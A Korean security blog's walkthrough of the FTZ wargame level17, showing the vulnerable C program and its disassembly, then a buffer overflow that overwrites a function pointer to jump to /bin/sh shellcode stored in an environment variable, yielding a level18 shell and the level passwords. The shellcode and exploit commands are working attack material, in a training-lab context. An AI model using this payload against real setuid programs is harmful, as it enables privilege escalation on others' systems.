Jaeseo's Information Security Story

FTZ - level17 - WriteUp 본문

Write UP/FTZ

FTZ - level17 - WriteUp

Jaeseokim 2019. 11. 26. 14:45

FTZ - level17 - WriteUp

level17:king poetic

일단 hint 파일을 확인합니다.

[level17@ftz level17]$ cat hint

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

이번에는 printit의 주소만 가져오고 printit 함수만 존재하는 것을 볼 수 있다. 일단 주소를 불러 온다는 점에서 shellcode를 이용하여 공격을 하면 될것 같다.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490 //printit함수의 주소를  가져온다.
0x080484b5 <main+13>:   sub    esp,0x4
0x080484b8 <main+16>:   push   ds:0x804967c
0x080484be <main+22>:   push   0x30
0x080484c0 <main+24>:   lea    eax,[ebp-56] //40만큼 buf를 채우면 된다.
0x080484c3 <main+27>:   push   eax
0x080484c4 <main+28>:   call   0x8048350 <fgets>
0x080484c9 <main+33>:   add    esp,0x10
0x080484cc <main+36>:   sub    esp,0x8
0x080484cf <main+39>:   push   0xc1a
0x080484d4 <main+44>:   push   0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    esp,0x10
0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:   call   eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret
0x080484e8 <main+64>:   nop
0x080484e9 <main+65>:   nop
0x080484ea <main+66>:   nop
0x080484eb <main+67>:   nop
0x080484ec <main+68>:   nop
0x080484ed <main+69>:   nop
0x080484ee <main+70>:   nop
0x080484ef <main+71>:   nop
End of assembler dump.

이제 환경변수를 이용하여 공격을 한다.

[level17@ftz level17]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

그리고 예전에 만들어둔 환경 변수 주소를 가져오는 프로그램을 통해 주소를 알아내고 공격을 한다.

[level17@ftz level17]$ /tmp/get.out ATTACK
0xbfffd84d
[level17@ftz level17]$ (python -c 'print "\x90"*40 + "\x4d\xd8\xff\xbf"';cat) | ./attackme
whoami
level18
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".


level18:why did you do it

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level19 - WriteUp  (0) 2019.11.27
FTZ - level18 - WriteUp  (0) 2019.11.26
FTZ - level16 - WriteUp  (0) 2019.11.26
FTZ - level15 - WriteUp  (0) 2019.11.26
FTZ - level14 - WriteUp  (0) 2019.11.25
Comments